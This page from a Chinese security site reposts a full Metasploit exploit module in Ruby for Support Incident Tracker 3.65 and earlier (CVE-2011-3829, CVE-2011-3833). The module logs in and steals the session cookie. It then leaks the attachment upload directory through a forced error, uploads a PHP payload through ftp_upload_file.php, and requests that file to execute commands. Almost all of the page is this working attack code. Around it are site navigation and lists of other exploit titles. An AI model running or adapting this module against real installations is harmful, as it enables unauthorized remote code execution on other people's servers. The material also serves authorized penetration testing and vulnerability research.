首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Support Incident Tracker <= 3.65 Remote Command Execution
来源:http://www.metasploit.com 作者:vazquez 发布时间:2011-11-14  

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Support Incident Tracker <= 3.65 Remote Command Execution',
   'Description'    => %q{
     This module combines two separate issues within Support Incident Tracker (<= 3.65)
    application to upload arbitrary data and thus execute a shell. The two issues exist
    in ftp_upload_file.php.
    The first vulnerability exposes the upload dir used to store attachments.
    The second vulnerability allows arbitrary file upload since there is no
    validation function to prevent from uploading any file type.
    Authentication is required to exploit both vulnerabilities.
   },
   'Author'         =>
    [
     'Secunia Research', # Original discovery
     'juan vazquez'      # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     ['CVE', 'CVE-2011-3829'],
     ['CVE', 'CVE-2011-3833'],
     ['OSVDB', '76999'],
     ['OSVDB', '77003'],
     ['URL', 'http://secunia.com/secunia_research/2011-75/'],
     ['URL', 'http://secunia.com/secunia_research/2011-79/'],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      =>
      {
       'ConnectionType' => 'find',
      }
    },
   'Platform'       => 'php',
   'Arch'           => ARCH_PHP,
   'Targets'        => [[ 'Automatic', { }]],
   'DisclosureDate' => 'Nov 10 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('URI', [true, "SiT! directory path", "/sit"]),
    OptString.new('USERNAME', [ true, 'The username to authenticate as','' ]),
    OptString.new('PASSWORD', [ true, 'The password for the specified username','' ]),
   ], self.class)
 end

 def check

  if datastore['URI'][-1, 1] == "/"
   uri = datastore['URI'] + "index.php"
  else
   uri = datastore['URI'] + "/index.php"
  end

  res = send_request_raw({
   'uri'     => uri
  })

  if (res and res.body =~ /SiT! Support Incident Tracker v(\d)\.(\d\d)/)
   ver = [ $1.to_i, $2.to_i ]
   print_status("SiT! #{ver[0]}.#{ver[1]}")

   if (ver[0] == 3 and ver[1] == 65)
    return Exploit::CheckCode::Vulnerable
   elsif (ver[0] == 3 and ver[1] < 65)
    return Exploit::CheckCode::Appears
   end
  end

  return Exploit::CheckCode::Safe
 end

 def retrieve_session(user, pass)

  if datastore['URI'][-1, 1] == "/"
   uri = datastore['URI'] + "login.php"
  else
   uri = datastore['URI'] + "/login.php"
  end

  res = send_request_cgi({
   'uri'     => uri,
   'method'  => 'POST',
   'data'    => "username=#{user}&password=#{pass}",
  }, 25)

  if (res and res.code == 302 and res.headers['Location'] =~ /main.php/)
   print_status("Successfully logged in as #{user}:#{pass}")

   if (res.headers['Set-Cookie'] =~ /SiTsessionID/) and res.headers['Set-Cookie'].split("SiTsessionID")[-1] =~ /=(.*);/
    session = $1
    print_status("Successfully retrieved cookie: #{session}")
    return session
   else
    raise RuntimeError, "Error retrieving cookie!"
   end
  else
   raise RuntimeError, "Error logging in."
  end
 end

 def upload_page(session, newpage, contents)

  if datastore['URI'][-1, 1] == "/"
   uri = datastore['URI'] + "ftp_upload_file.php"
  else
   uri = datastore['URI'] + "/ftp_upload_file.php"
  end

  boundary = rand_text_alphanumeric(6)

  data = "--#{boundary}\r\n"
  data << "Content-Disposition: form-data; name=\"file\"; "
  data << "filename=\"#{newpage}\"\r\n"
  data << "Content-Type: application/x-httpd-php\r\n\r\n"
  data << contents
  data << "\r\n--#{boundary}\r\n"
  data << "Content-Disposition: form-data; name=\"shortdescription\"\r\n\r\n"
  data << rand_text_alphanumeric(rand(10 + 10))
  data << "\r\n--#{boundary}\r\n"
  data << "Content-Disposition: form-data; name=\"longdescription\"\r\n\r\n"
  data << rand_text_alphanumeric(rand(20) + 20)
  data << "\r\n--#{boundary}\r\n"
  data << "Content-Disposition: form-data; name=\"fileversion\"\r\n\r\n"
  data << "1"
  data << "\r\n--#{boundary}\r\n"
  data << "Content-Disposition: form-data; name=\"action\"\r\n\r\n"
  data << "publish"
  data << "\r\n--#{boundary}--"

  res = send_request_raw({
   'uri'   => uri,
   'method'  => 'POST',
   'data'    => data,
   'headers' =>
   {
    'Content-Type'  => 'multipart/form-data; boundary=' + boundary,
    'Content-Length' => data.length,
    'Cookie'  => "SiTsessionID=#{session}",
   }
  }, 25)

  if (res and res.code == 200)
   print_status("Successfully uploaded #{newpage}")
   return res
  else
   raise RuntimeError, "Error uploading #{newpage}"
  end
 end

 def retrieve_upload_dir(session)
  data =  rand_text_alphanumeric(rand(20)+20)
  filename = rand_text_alphanumeric(rand(256) + 300)
  res = upload_page(session, filename, data)

  if res.body =~ /attachments-(.*)\/#{filename}\): failed to open stream/
   upload_dir = "attachments-#{$1}"
   print_status("Successfully retrieved upload dir: #{upload_dir}")
   return upload_dir
  else
   raise RuntimeError, "Error retrieving the upload dir"
  end

 end

 def cmd_shell(cmdpath)
  print_status("Calling payload: #{cmdpath}")

  if datastore['URI'][-1, 1] == "/"
   uri = datastore['URI'] + cmdpath
  else
   uri = datastore['URI'] + "/#{cmdpath}"
  end

  send_request_raw({
   'uri' => uri
  }, 25)
  return
 end

 def exploit
  cmd_php = '<?php ' + payload.encoded + '?>'
  cmdscript   = rand_text_alphanumeric(rand(10)+10) + '.php'
  user        = datastore['USERNAME']
  pass        = datastore['PASSWORD']

  session = retrieve_session(user, pass)
  upload_dir = retrieve_upload_dir(session) # CVE-2011-3829
  upload_page(session, cmdscript, cmd_php) # CVE-2011-3833
  cmdpath = "#{upload_dir}/#{cmdscript}"
  cmd_shell(cmdpath)
  handler
 end
end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Kool Media Converter v2.6.0 DO
·Aviosoft Digital TV Player Pro
·MS11-083 Denial Of Service
·Wordpress Zingiri Plugin <= 2.
·Mini-Stream RM-MP3 Converter v
·Soda PDF Professional 1.2.155
·Firefox 8.0 Null Pointer Deref
·glibc LD_AUDIT arbitrary DSO l
·FairStars Recorder Local Buffe
·AbsoluteFTP 1.9.6 - 2.2.10 Rem
·procps 3.2.* vmstat argument s
·AbsoluteFTP 1.9.6 - 2.2.10 Rem
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved